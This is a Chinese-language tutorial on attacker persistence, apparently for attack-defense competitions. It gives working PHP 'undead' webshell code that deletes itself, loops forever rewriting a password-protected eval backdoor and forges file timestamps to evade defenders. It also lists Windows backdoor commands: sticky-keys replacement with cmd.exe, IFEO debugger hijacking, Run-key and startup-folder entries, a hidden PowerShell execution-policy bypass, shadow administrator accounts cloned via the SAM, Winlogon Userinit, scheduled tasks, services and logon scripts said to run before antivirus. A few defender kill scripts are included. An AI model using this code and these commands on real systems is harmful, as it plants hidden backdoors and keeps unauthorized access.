1.不死马
<?php
ignore_user_abort(true); //ignore_user_abort设置ture时即使客户机关闭浏览器,不会终止脚本的执行
set_time_limit(0); //设置脚本的最大执行时间,0代表无限制
unlink(__FILE__); //删除文件本身 (隐藏的效果)
$file = './.index.php'; //生成的一句木马的文件名
$code = '<?php if(md5($_POST["pass"])=="e771c5bd0272757ce1a75fb6c35528cb"){@eval($_POST[v]);} ?>';
//通过判断用户传入的变量,然后转换成md5值和e10adc3949ba59abbe56e057f20f883e进行对比,如果e10adc3949ba59abbe56e057f20f883e解密出来的值和用户传入的值是一样的话,就继续执行@eval($_POST['ZYGS']),是不死马防止被别人利用的关键
//内容这个是可以改变的
//e771c5bd0272757ce1a75fb6c35528cb=dhskanf 马儿用法:fuckyou.php?pass=dhskanf&v=command
while (1){
file_put_contents($file,$code);
system('touch -m -d ""2018-12-01 09:10:12" .index.php');
//touch -m 修改文件时间,让防守方无法通过find命令来找到不死马文件。
usleep(1);
}
?>
争对条件竞争的变种
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = 'c.php';
$code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+');
//一句话木马base64加密<?php @eval($_POST[c]);?>
while(true) {
if(md5(file_get_contents($file))===md5($code)) {
//获得文件内容与参数code进行比较,条件判断
file_put_contents($file, $code);
}
usleep(50);
}
?>
1.2kill不死马
- 重启服务
- kill进程(不死马本身是以进程的形式运行的)
<?php
while (1) {
$pid = 不死马的进程PID;
@unlink(".ski12.php");
exec("kill -9 $pid");
usleep(1000);
}
?>
- 条件竞争(写入速度必须快于不死马自己创建的速度)
<?php
set_time_limit(0); //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1); //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。
while(1)
{
file_put_contents('shell.php','1111111'); //创建shell.php
usleep(0); //间隔时间
}
?>
2.快捷键后门
Windows10 有一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征,一些恶意软件无需登录到系统,通过远程桌面协议就可以执行恶意代码。
一些常见的辅助功能如:
C:\Windows\System32\sethc.exe 粘滞键 快捷键:按五次 shift 键
C:\Windows\System32\utilman.exe 设置中心 快捷键:Windows+U 键
C:\Windows\System32\Magnify.exe 放大镜 快捷键:Windows+加减号
方法:
最常见的验证方法就是将恶意程序的文件名换成上面的名字,然后使用对应的快捷键就可以调用了。举例cmd.exe。
move C:\windows\system32\sethc.exe C:\windows\system32\sethc.exe.bak # 备份sethc.exe
Copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe # 替换
可能会遇到的问题:
我在实现这个操作的时候会遇到需要TrustedInstaller权限的情况,解决方法就是打开这个文件的属性,然后在安全栏目里点击高级,然后再点击更改,再点击一次高级,进入之后点击立即查找,双击你有权限操作的用户就可以了。
3.映像劫持
原理
注册表路径IFEO(image file execution options)的exe程序被修改,然后进行重定向执行后门程序的过程
需要管理员权限。
方法一:注册表修改Debugger值
运行某exe程序时候,系统会在注册表image file execution option中寻找是否存在exe的项。
存在则寻找该项中Debugger的字符串值,找到则启动debugger值对应的程序,如果没有也可以自己创建然后将后门exe文件的完整路径传递给debugger程序。
所以我们将Debugger对应的程序改为后门即可运行。
cmd输入regedit打开注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options
新建一个项test.exe(test可以改为其他名字),然后再创建一个子键Debugger(里面值就是你的shell路径)。最后在找到一个exe文件改名为test双击运行就会运行Debugger里填写路径里的程序。(如果本来不是exe可执行文件会报错)
方法二:命令行修改
c:\windows\system32\xxx.exe为恶意程序路径
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "Debugger" /t REG_SZ /d `"c:\windows\system32\xxx.exe" /f`
3.启动项
3.1组策略启动项
gpedit.msc上打开组策略,在Windows设置选项上有个脚本(启动/关机)选项,添加bat文件即可,如以下代码开机会执行该bat文件,该bat文件的作用是执行shell.ps1木马程序。
@echo off
powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\Users\Administart\Desktop\shell.ps1
exit
3.2 文件夹启动项
直接将bat文件放在这些目录下
C: \ProgramData\Microsoft\Windows\Start Menu\Programs\Startup #系统级,需要system权限
C: \Users\用户名\AppData\Roaming\Microsoft\Windows\Start\Menu\Programs\Startup #用户级普通权限
3.3注册表启动(win+r输入regedit)
HKEY_LOCAL_MACHINE类
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_CURRENT_USER类,不需要管理员权限
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
其中RunOnce 注册键:用户登录时,所有程序按顺序自动执行,在 Run 启动项之前执行,但只能运行一次,执行完毕后会自动删除
方法
可以直接在对应的注册表键值下添加恶意程序路径,也可以在命令行添加。
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\Users\Administart\Desktop\shell.exe"
4.影子账户
为什么要建立影子账户?
新建普通用户–>隐藏用户–>影子用户
net user ,计算机管理,注册表都可以看到–>只是cmd看不到–>只有注册表可以看到
所以建立影子用户会让管理员查看账户难度变高
方法
新建一个隐藏用户(用户名后加上$符)
net user test2$ 123456 /add
regedit打开注册表,找到HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/选项(SAM文件夹需要管理员权限才可以查看),在Names中找到你的账户与administrator记下右侧值然后去上面寻找对应项,点开administrator双击F复制其中内容,粘贴到你的账户对应的F的项里保存,最后将Names你的账户以及上面对应的项导出,cmd删除你的账户,在双击导出两个文件完成影子用户创建。(也可以直接创建一个管理员的隐藏账户然后直接导出)
6.winlogon userinit(用户登录初始化后门)
注册表HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
的作用是指定用户登录时 Winlogon 运行的程序。默认情况下,Winlogon 会运行 Userinit.exe(运行登录脚本)userinit的作用是用户在进行登录初始化设置时,winlogon进程会执行指定的login scripts,所以我们可以修改它的键值来添加要执行的程序。
方法
1.直接注册表HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
下的添加userinit值,以 , 分开。
2.命令行实现:
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,C:\Users\admin\Documents\backdoor.exe"
7.计划任务
Windows实现定时任务主要有schtasks与at二种方式:
At 适用于windows xp/2003,schtasks适用于win7/2008或者以后
#每天的16:34启动后门程序
schtasks /Create /TN badcode /SC DAILY /ST 16:49 /TR "C:\Users\admin\Documents\backdoor.exe"
at 16:34 /every:M,T,W,Th,F,S,Su C:\ZhiArchive\backdoor.exe
8.服务自启动
自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将 exe 文件注册为服务,也可以将 dll 文件注册为服务。
针对服务的操作,涉及到一条命令sc。其可以更改服务的属性、启动状态,删除或停止服务。
#创建名为test的服务(注意等号后面有空格),设置自启动,启动权限为system
sc create test binpath= C:\Users\Administrator\Desktop\poc.exe start= auto obj= Localsystem
#启动服务
et start test
#查询服务
sc query test
#删除服务
sc delete test
但通过这个方法启动exe后过几秒服务会停止运行。因为服务运行的exe不符合规范则会停止运行服务。此时我们需要对进程进行迁移,才会不掉线。也可以通过以下方法创建合法服务。
instsrv.exe.exe 和 srvany.exe 是 Microsoft Windows Resource Kits 工具集中 的两个实用工具,这两个工具配合使用可以将任何的 exe 应用程序作为 window 服务运行。srany.exe 是注册程序的服务外壳,可以通过它让应用程序以 system 账号启动,可以使应用程序作为 windows 的服务随机器启动而自动启动,从而隐藏不必要的窗口。
将 instsrv.exe 和 srvany.exe 拷贝到C:\WINDOWS\SysWOW64目录下,然后在 cmd 中先切换到C:\WINDOWS\SysWOW64目录,再运行命令
instsrv test C:\WINDOWS\SysWOW64\srvany.exe
在修改注册表
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\backdoor\Parameters" /f #创建键值
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\backdoor\Parameters" /v AppDirectory /t REG_SZ /d "C:\Users\admin\Documents" /f # 后门路径
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\backdoor\Parameters" /v Application /t REG_SZ /d "C:\Users\admin\Documents\backdoor.exe" /f #后门程序
9.logon scripts 后门
Windows 登录脚本,当用户登录时触发,Logon Scripts 能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
注册表位置:HKEY_CURRENT_USER\Environment
REG ADD “HKEY_CURRENT_USER\Environment” /v UserInitMprLogonScript /t REG_SZ /d “C:\Users\Administrator\Desktop\poc.exe”
用户一登录成功执行poc.exe